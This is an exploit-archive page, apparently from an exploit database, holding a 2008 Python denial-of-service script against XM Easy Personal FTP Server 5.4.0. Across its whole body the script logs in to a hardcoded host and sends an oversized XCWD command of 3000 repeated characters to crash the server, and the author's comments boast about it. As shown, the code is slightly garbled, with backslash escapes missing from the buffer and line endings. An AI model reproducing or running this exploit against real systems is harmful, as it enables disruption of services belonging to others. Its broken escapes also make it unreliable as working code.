[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : XM Easy Personal FTP Server 5.4.0 (XCWD) Denial of Service Exploit
# Published : 2008-04-13
# Author : j0rgan
# Previous Title : DivX Player <= 6.7.0 SRT File Buffer Overflow PoC
# Next Title : Borland InterBase 2007 ibserver.exe Buffer Overflow PoC
#!/usr/bin/python
########################################
# XM Easy Personal FTP Server 5.4.0 (XCWD) DoS
#
# When admin looks at the server log, application crashes :)
#
# Elhamdulillahi Rabbil-alemin!
#
########################################
# bt ~ # ./sploit.py
#
# [+] Saljemo zli bafer :)
# [+] Now wait until the admin looks at server log :)
# [+] Finito!
#
########################################
# Vulnerability discovered and coded by Muris Kurgas a.k.a j0rgan
# jorganwd [at] gmail [dot] com
# http://www.jorgan.users.cg.yu
########################################
import struct
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
bafer = 'x41' * 3000
print "n [+] Saljemo zli bafer :)"
s.connect(('192.168.190.132',21))
data = s.recv(1024)
s.send('USER ftp' +'rn')
data = s.recv(1024)
s.send('PASS lozinka' +'rn')
data = s.recv(1024)
print " [+] Now wait until the admin looks at server log :)"
s.send('XCWD ' +bafer+ 'rn')
s.close()
print " [+] Gotovo! "
# www.Syue.com [2008-04-13]